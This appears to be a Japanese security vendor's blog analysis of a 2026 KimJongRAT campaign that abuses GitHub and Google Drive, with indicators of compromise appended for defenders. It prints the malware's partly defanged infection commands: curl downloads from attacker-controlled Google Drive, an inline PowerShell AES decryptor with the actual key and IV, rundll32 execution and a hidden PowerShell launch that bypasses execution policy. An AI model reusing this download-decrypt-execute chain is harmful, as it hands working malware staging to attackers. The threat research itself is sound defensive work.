LOTSを活用して進化を続けるKimJongRAT
2026年5月、我々はGitHub等を悪用してKimJongRATを配布する攻撃キャンペーンを観測しました。KimJongRATはInfoStealer (情報窃取型マルウェア) とRAT (遠隔操作マルウェア) の両方の機能を併せ持つマルウェアであり、2013年頃から北朝鮮に帰属するとされるAPTグループKimsuky (Earth Kumiho) 1によって使用されていることが報告されています2。この記事では2026年5月に観測された攻撃キャンペーンの概要を紹介するとともに、従来のマルウェアから変化していた点を中心にKimJongRATの実装について共有します。
実行フロー
2026年5月に観測したKimJongRATの実行フローの例は図1および図2の通りです。


標的となったユーザが攻撃者が送信するメール内に含まれる短縮URLにアクセスすると、GitHub Releases上でホストされていたZIPファイル3のダウンロードリンクにリダイレクトされます。ユーザがZIPファイルをダウンロードして、展開される悪意のあるLNKファイル (ショートカットファイル) を開くことでマルウェアに感染します。具体的には、LNKファイルが正規のコマンド mshta を使用してGitHub Releases上のHTAファイル (pdfko.zip) をダウンロード、実行します。

次に、悪性HTAファイル内に含まれる難読化されたVBScriptが複数のコマンドを実行して、攻撃者が管理しているGoogle Drive上から次段のマルウェアをダウンロード、実行します。

難読化されたVBScriptに実行され得るコマンドは以下の通りです (安全のため一部マスク・無害化しています)。
まず、デコイドキュメントをGoogle Driveから一時フォルダ下にダウンロードして開きます。今回使用されていたドキュメントは、The file is damaged and could not be repaired. のようなメッセージだけが書かれた非常にシンプルなものでした。
cmd /c cd /d %temp% && curl -L -o temp.pdf "hxxps://drive.google.com/uc?export=download&id=<snip>" && temp.pdfCode language: HTML, XML (xml)
次に、Windows Defenderが稼働しているかどうか sc コマンドを使用して調査します。
cmd /c sc query WinDefend
Windows Defenderが稼働していない場合、以下のコマンドを実行して user.txt および sys.log をGoogle Driveからダウンロードします。
cmd /c cd /d %localappdata% && curl -L -o user.txt "hxxps://drive.google.com/uc?export=download&id=<snip>"
cmd /c cd /d %localappdata% && curl -L -o sys.log "hxxps://drive.google.com/uc?export=download&id=<snip>" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,kCode language: JavaScript (javascript)
次に、 sys.log をAES復号することで得られた sys.dll を rundll32.exe によって実行します。 sys.dll は user.txt にRC4暗号化された状態で含まれているURLを復号して、そのURLから次段のペイロードをダウンロード、実行します。
これらの過程を経て、標的となったユーザはKimJongRAT (Orchestratorなどを含むDLL版) に感染します。
Windows Defenderが稼働している場合、以下のコマンドを実行して暗号化されたZIPファイル pipe.log をGoogle Driveからダウンロードします。
cmd /c cd /d %localappdata% && curl -L -o pipe.log "hxxps://drive.google.com/uc?export=download&id=<snip>" && powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))" && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zipCode language: JavaScript (javascript)
その後、pipe.log を復号・展開することで得られたPowerShellスクリプト 1.ps1 を 1.log を引数として渡して実行します。
cmd /c cd /d %localappdata% && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
1.ps1 は引数として渡されたファイルの内容をBase64デコードしてPowerShellスクリプトとして実行する機能を有しています。1.log にはBase64エンコードされたKimJongRAT (PowerShell版) が含まれているため、デコード、実行されます。
実行されるペイロードの詳細な解析結果などについては、Unit42などの複数のセキュリティベンダーが過去に公開しているレポートをご参照ください。
Exploring a New KimJongRAT Stealer Variant and Its PowerShell Implementation – Unit 42
https://unit42.paloaltonetworks.com/kimjongrat-stealer-variant-powershell/
本稿では、これらのレポートに含まれていない、直近で観測されたマルウェアの実装の変化について紹介します。
C2アドレスを外部から取得する機能の追加
2026年4月以前に観測されたKimJongRATでは、Orchestrator (DLL版)、PowerShell版ともに、通信先のC2サーバのアドレスがマルウェア内にハードコードされていました。しかし、2026年5月以降に観測した検体においては、実行時にGoogle Drive上から暗号化されたC2アドレスを含むファイルをダウンロード、復号することで、動的にC2アドレスを取得するように実装が変化していました。


これにより、例えC2サーバがテイクダウンされたり、攻撃者が使用しているDDNSアドレスが無効化されたりしても、攻撃者は継続して同じペイロードを使用し続けることが可能になりました。C2アドレスを変更する度にマルウェアをビルドする必要がなくなるため、オペレーション上の負荷軽減も目的としていると考えられます。
MeshAgentのインストール機能の追加
2026年5月に観測したKimJongRATには、MeshAgentと呼ばれるRMM (Remote Monitoring and Management) を一時フォルダ下に設置する機能が新たに実装されていました。MeshAgentの実行に必要な実行ファイルおよび設定ファイルは、どちらもRC4暗号化された状態でGoogle Drive上にアップロードされていました。

この機能追加は、マルウェアがアンチウイルスソフトウェアなどに検疫された場合でも、攻撃者が標的ホストへのアクセスを失わないようにするための工夫であると考えられます。ただし、制御サーバ (MeshCentral) は2026年6月時点で疎通できない状態4にあるため、MeshAgentに関連するファイルの展開は攻撃者にとって試験的な試みだった可能性があります。

テイクダウン
2026年5月の攻撃で悪用されたGitHubリポジトリ acccobug/refactored-octo-invention は、筆者を含む複数のリサーチャーによるGitHub社への通報によって、2026年5月27日時点でテイクダウンされています。しかし、およそ4日後の2026年5月31日には攻撃者によって新しいGitHubリポジトリが作成されていて、同様に複数の悪性ファイルがGitHub Releases上にアップロードされています。このことから、今後も攻撃者は同じ手口を用いた攻撃を繰り返す可能性が高いと考えられます。

新しいリポジトリを参照するペイロードの解析結果について、リサーチャーGraymanRE氏が詳細なレポートを公開しています。是非、こちらもご覧ください。
GraymanRE – Multi-Stage LNK Malware Campaign Analysis
https://graymanre.github.io/re/multistage_lnk_campaign.html
さいごに
近年、脅威アクターが正規サービスをマルウェアのホスト元やC2インフラの一部、窃取した情報の送信先として悪用する事例が増加しています。特にKimsukyやAPT37といった北朝鮮に帰属するとされているAPTグループにおいては、このようなLOTS (Living Off Trusted Sites) 手法を利用した攻撃を活発に実施していることが報告されています。弊社においても、Kimsukyに属する脅威アクターによる日本国内のユーザを標的とした、正規サービスを悪用する攻撃キャンペーンを観測しています。今後も類似する攻撃が続く可能性は高いため、引き続き警戒が必要だといえるでしょう。
記事末尾のAppendixに侵害指標 (IoCs) を記載しています。攻撃活動の検知や対策等にお役立てください。
Appendix: IoCs
ファイル
| SHA256 | 説明 |
|---|---|
| e4ccb2328c06710a7f0254cb6315e1b106396b0ff525f9cf3eada6e85d285c1c | LNKファイルを含むZIPファイル (tax_edoc.zip) |
| 9758e76b601798a30d903bf05052a53df80451e5c156548ce9da828f608b6470 | ダウンローダ (sys.dll) |
| 107b5aa3c4ef30b9b832e0a10b1efb1dcf433158bc6af8d890d66c0c9ed50d21 | KimJongRAT (PowerShell版) を含むZIPファイル (pipe.zip) |
| 221a39856b37e3c682f62427f1e6b965b36a2405764689c914672770a01a1fa9 | MeshAgent (Taskmgr.exe) |
ネットワーク
- KimJongRAT (DLL版) C2
hxxps://pxqtkc.corpsecs[.]com- 89.116.192[.]38:443
- KimJongRAT (PowerShell版) C2
hxxps://lutkdd.corpsecs[.]com- 89.116.192[.]38:443
- MeshCentralサーバ
wss://googleoba.servequake[.]com:8443/agent.ashx- 104.200.67[.]46:8443
- Nation-Aligned APTs in 2025 (TrendAI Research)
https://documents.trendmicro.com/assets/pdf/Annual-APT-Report-2025.pdf ↩︎ - KimJongRAT – Dual-Variant RAT Targeting Sensitive Data (KPMG Cyber Threat Intelligence Platform)
https://assets.kpmg.com/content/dam/kpmgsites/in/pdf/2025/12/kpmg-ctip-kimjongrat-09-Dec-2025.pdf.coredownload.inline.pdf ↩︎ - 今回観測したGitHub Releases上には複数のファイルがアップロードされていましたが、本稿ではZIPファイル
tax_edoc.zip内のペイロードについて記述しています。 ↩︎ - KimJongRATのC2サーバには依然としてアクセスできる状態にも拘らず、MeshCentralのみアクセスできない状態となっていました。 ↩︎
